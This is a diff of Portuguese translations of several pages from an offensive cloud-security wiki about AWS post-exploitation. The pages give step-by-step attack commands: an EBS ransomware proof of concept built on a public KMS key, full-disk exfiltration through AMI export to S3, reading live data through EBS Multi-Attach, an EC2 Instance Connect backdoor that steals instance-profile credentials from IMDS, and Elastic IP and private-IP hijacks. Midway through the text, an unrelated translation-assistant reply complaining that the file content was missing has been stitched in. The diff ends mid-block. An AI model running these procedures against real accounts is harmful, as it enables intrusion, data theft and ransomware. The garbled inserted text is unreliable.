7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -170,17 +235,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Pesquisar informações sensíveis em AMIs públicas e privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **procurar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs alvo, montar seus volumes e escanear por potenciais secrets ou dados sensíveis.
|
||||
|
||||
### Compartilhar Snapshot EBS
|
||||
### Compartilhar EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS.
|
||||
Uma prova de conceito similar à demonstração de Ransomware mostrada nas notas de post-exploitation do S3. KMS deveria ser renomeado para RMS (Ransomware Management Service) devido à facilidade de uso para criptografar vários serviços da AWS com ele.
|
||||
|
||||
Primeiro, a partir de uma conta AWS 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'.
|
||||
Primeiro, a partir de uma conta AWS 'attacker', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um agente malicioso manteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra de policy permitindo acesso total chama-se 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -272,7 +337,7 @@ Primeiro, a partir de uma conta AWS 'atacante', crie uma chave gerenciada pelo c
|
||||
]
|
||||
}
|
||||
```
|
||||
A regra da política de chave precisa das seguintes permissões habilitadas para permitir a capacidade de usá-la para criptografar um volume EBS:
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -280,21 +345,21 @@ A regra da política de chave precisa das seguintes permissões habilitadas para
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Agora, com a chave publicamente acessível para usar. Podemos usar uma conta 'vítima' que possui algumas instâncias EC2 com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
|
||||
 
|
||||
|
||||
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
|
||||
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
|
||||

|
||||
|
||||
Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes originais não criptografados já não existem.
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
|
||||

|
||||
|
||||
Em seguida, retorne à política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -365,15 +430,15 @@ Em seguida, retorne à política de chave na conta 'atacante' e remova a regra d
|
||||
]
|
||||
}
|
||||
```
|
||||
Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
|
||||
Aguarde um momento para que a nova key policy propague. Em seguida, retorne para a conta 'victim' e tente anexar um dos volumes EBS recém-encriptados. Você verá que é possível anexar o volume.
|
||||
|
||||
 
|
||||
|
||||
Mas quando você tentar realmente iniciar a instância EC2 novamente com o volume EBS criptografado, ela simplesmente falhará e voltará do estado 'pendente' para o estado 'parado' para sempre, uma vez que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais isso.
|
||||
Mas quando você tenta realmente iniciar a instância EC2 com o volume EBS encriptado, ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser descriptografado usando a chave, porque a key policy não permite mais.
|
||||
|
||||
 
|
||||
|
||||
Este é o script python utilizado. Ele recebe credenciais da AWS para uma conta 'vítima' e um valor ARN da AWS publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, em seguida, parará cada instância EC2, destacará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, É DESTRUTIVO E EXCLUI TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original por meio de snapshots, mas quero apenas alertá-lo de que isso é uma prova de conceito de ransomware no final das contas.
|
||||
Este é o script python usado. Ele recebe AWS creds para uma conta 'victim' e um ARN público da AWS para a chave a ser usada na encriptação. O script fará cópias encriptadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então vai parar todas as instâncias EC2, desanexar os volumes EBS originais, deletá-los, e finalmente deletar todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS encriptados na conta 'victim' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E VAI DELETAR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas quero apenas alertar que, no fim das contas, isto é um ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -492,6 +557,6 @@ main()
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [Pentest Partners – Como transferir arquivos na AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
# AWS – Exfiltração Oculta de Disco via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
Abuse a exportação de AMI do EC2 para S3 para exfiltrar o disco completo de uma instância EC2 como uma única imagem raw armazenada em S3, e então baixá-la out-of-band. Isso evita o compartilhamento de snapshots e produz um objeto por AMI.
|
||||
|
||||
## Requisitos
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` na instância/AMI alvo
|
||||
- S3 (mesma Região): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- KMS decrypt na chave que protege os snapshots da AMI (se a criptografia padrão do EBS estiver habilitada)
|
||||
- Política de bucket S3 que confia no principal de serviço `vmie.amazonaws.com` (veja abaixo)
|
||||
|
||||
## Impacto
|
||||
- Aquisição completa offline do disco root da instância em S3 sem compartilhar snapshots ou copiar entre contas.
|
||||
- Permite forense furtiva em credenciais, configurações e conteúdo do sistema de arquivos a partir da imagem raw exportada.
|
||||
|
||||
## Como Exfiltrar via AMI Store-to-S3
|
||||
|
||||
- Notas:
|
||||
- O bucket S3 deve estar na mesma Região que a AMI.
|
||||
- Em `us-east-1`, `create-bucket` NÃO deve incluir `--create-bucket-configuration`.
|
||||
- `--no-reboot` cria uma imagem crash-consistent sem parar a instância (mais furtivo, mas menos consistente).
|
||||
|
||||
<details>
|
||||
<summary>Comandos passo a passo</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Exemplo de Evidência
|
||||
|
||||
- `describe-store-image-tasks` transições:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
- Metadados do objeto S3 (exemplo):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
- Download parcial comprova o acesso ao objeto:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
## Permissões IAM necessárias
|
||||
|
||||
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (no bucket de exportação): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS: Se os snapshots de AMI estiverem criptografados, permitir decrypt para a EBS KMS key usada pelos snapshots
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,77 @@
|
||||
# AWS - Live Data Theft via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
Abuse EBS Multi-Attach para ler de um volume de dados io1/io2 em uso, anexando o mesmo volume a uma instância controlada pelo atacante na mesma Availability Zone (AZ). Montar o volume compartilhado em modo somente leitura fornece acesso imediato a arquivos em uso sem criar snapshots.
|
||||
|
||||
## Requisitos
|
||||
- Volume alvo: io1 ou io2 criado com `--multi-attach-enabled` na mesma AZ que a instância do atacante.
|
||||
- Permissões: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sobre o volume/instâncias alvo.
|
||||
- Infraestrutura: tipos de instância baseados em Nitro que suportam Multi-Attach (famílias C5/M5/R5, etc.).
|
||||
|
||||
## Observações
|
||||
- Monte em somente leitura com `-o ro,noload` para reduzir o risco de corrupção e evitar replays do journal.
|
||||
- Em instâncias Nitro, o dispositivo NVMe do EBS expõe um caminho estável `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (auxiliar abaixo).
|
||||
|
||||
## Prepare a Multi-Attach io2 volume and attach to victim
|
||||
|
||||
Exemplo (crie em `us-east-1a` e anexe à vítima):
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
Na máquina da vítima, formate/monte o novo volume e escreva dados sensíveis (ilustrativo):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
## Anexar o mesmo volume à attacker instance
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
## Montar read-only no attacker e ler dados
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
Resultado esperado: O mesmo `VOL_ID` mostra múltiplos `Attachments` (victim and attacker) e o attacker pode ler arquivos escritos pelo victim sem criar nenhum snapshot.
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
<details>
|
||||
<summary>Auxiliar: encontrar o caminho do dispositivo NVMe pelo Volume ID</summary>
|
||||
|
||||
Em instâncias Nitro, use o caminho estável by-id que incorpora o volume id (remova o traço depois de `vol`):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
- Acesso imediato de leitura aos dados em tempo real no volume EBS de destino sem gerar snapshots.
|
||||
- Se montado em modo read-write, o atacante pode manipular o sistema de arquivos da vítima (risco de corrupção).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,118 @@
|
||||
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusar do EC2 Instance Connect Endpoint (EIC Endpoint) para obter acesso SSH de entrada a instâncias EC2 privadas (sem IP público/bastion) através de:
|
||||
- Criar um EIC Endpoint dentro da sub-rede alvo
|
||||
- Permitir SSH de entrada no SG alvo a partir do SG do EIC Endpoint
|
||||
- Injetar uma chave pública SSH de curta duração (válida ~60 segundos) com `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Abrir um túnel EIC e pivoting para a instância para roubar credenciais do instance profile do IMDS
|
||||
|
||||
Impacto: caminho de acesso remoto furtivo para instâncias EC2 privadas que contorna bastions e restrições de IP público. O atacante pode assumir o instance profile e operar na conta.
|
||||
|
||||
## Requirements
|
||||
- Permissions to:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Target Linux instance with SSH server and EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 20.04+). Default users: `ec2-user` (AL2) or `ubuntu` (Ubuntu).
|
||||
|
||||
## Variables
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Criar EIC Endpoint
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Permitir tráfego do EIC Endpoint para a instância de destino
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Injetar chave SSH efêmera e abrir túnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Prova de pós-exploração (roubar credenciais do perfil de instância)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
Você não incluiu o conteúdo do ficheiro. Por favor, cole aqui o conteúdo Markdown (o texto do arquivo src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md) que quer traduzido. Não posso aceder a ficheiros no seu sistema — preciso que cole o texto.
|
||||
|
||||
Observações rápidas antes de enviar:
|
||||
- Vou traduzir apenas o texto em inglês para Português.
|
||||
- Não vou traduzir código, nomes de técnicas, palavras comuns de hacking, nomes de plataformas cloud/SaaS (ex.: aws, Workspace), a palavra "leak", "pentesting", links, paths, tags ou qualquer marcação Markdown/HTML.
|
||||
- Mantenha o markdown e as tags exatamente como estão; não as modifique.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Use as stolen creds localmente para verificar a identidade:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Limpeza
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Notas
|
||||
> - A chave SSH injetada é válida apenas por ~60 segundos; envie a chave imediatamente antes de abrir o túnel/SSH.
|
||||
> - `OS_USER` deve corresponder à AMI (por exemplo, `ubuntu` para Ubuntu, `ec2-user` para Amazon Linux 2).
|
||||
@@ -0,0 +1,52 @@
|
||||
# AWS - Elastic IP Hijack para Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Abuse `ec2:AssociateAddress` (e opcionalmente `ec2:DisassociateAddress`) para re-associar um Elastic IP (EIP) de uma instância/ENI vítima para uma instância/ENI do atacante. Isso redireciona o tráfego de entrada destinado ao EIP para o atacante e também permite que o atacante origine tráfego de saída com o IP público allowlisted para contornar firewalls de parceiros externos.
|
||||
|
||||
## Pré-requisitos
|
||||
- ID de alocação do EIP de destino na mesma conta/VPC.
|
||||
- Instância/ENI do atacante que você controla.
|
||||
- Permissões:
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI
|
||||
- `ec2:DisassociateAddress` (opcional). Nota: `--allow-reassociation` irá auto-desassociar da associação anterior.
|
||||
|
||||
## Ataque
|
||||
|
||||
Variáveis
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
1) Alocar ou identificar o EIP da vítima (o laboratório aloca um novo e o associa à vítima)
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
2) Verifique se o EIP atualmente resolve para o serviço da vítima (por exemplo, verifique o banner)
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
3) Re-associar o EIP ao atacante (desassocia automaticamente da vítima)
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
4) Verifique se o EIP agora resolve para o attacker service
|
||||
```bash
|
||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
Evidência (associação movida):
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
## Impacto
|
||||
- Inbound impersonation: Todo o tráfego destinado ao EIP sequestrado é entregue à attacker instance/ENI.
|
||||
- Outbound impersonation: Attacker pode iniciar tráfego que aparenta se originar do allowlisted public IP (útil para contornar filtros de IP de parceiros/fonte externa).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` para roubar o IP privado secundário de um ENI vítima e movê-lo para um ENI atacante no mesmo subnet/AZ. Muitos serviços internos e security groups restringem acesso por IPs privados específicos. Ao mover esse endereço secundário, o atacante se passa pelo host confiável no L3 e pode alcançar serviços allowlisted.
|
||||
|
||||
Prereqs:
|
||||
- Permissões: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` no ARN do ENI vítima, e `ec2:AssignPrivateIpAddresses` no ARN do ENI atacante.
|
||||
- Ambos os ENIs devem estar no mesmo subnet/AZ. O endereço alvo deve ser um IP secundário (o primário não pode ser unassigned).
|
||||
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Steps:
|
||||
1) Pick a secondary IP from the victim ENI
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Garanta que o host protegido permita apenas esse IP (idempotente). Se estiver usando regras SG-to-SG em vez disso, pule.
|
||||
```bash
|
||||
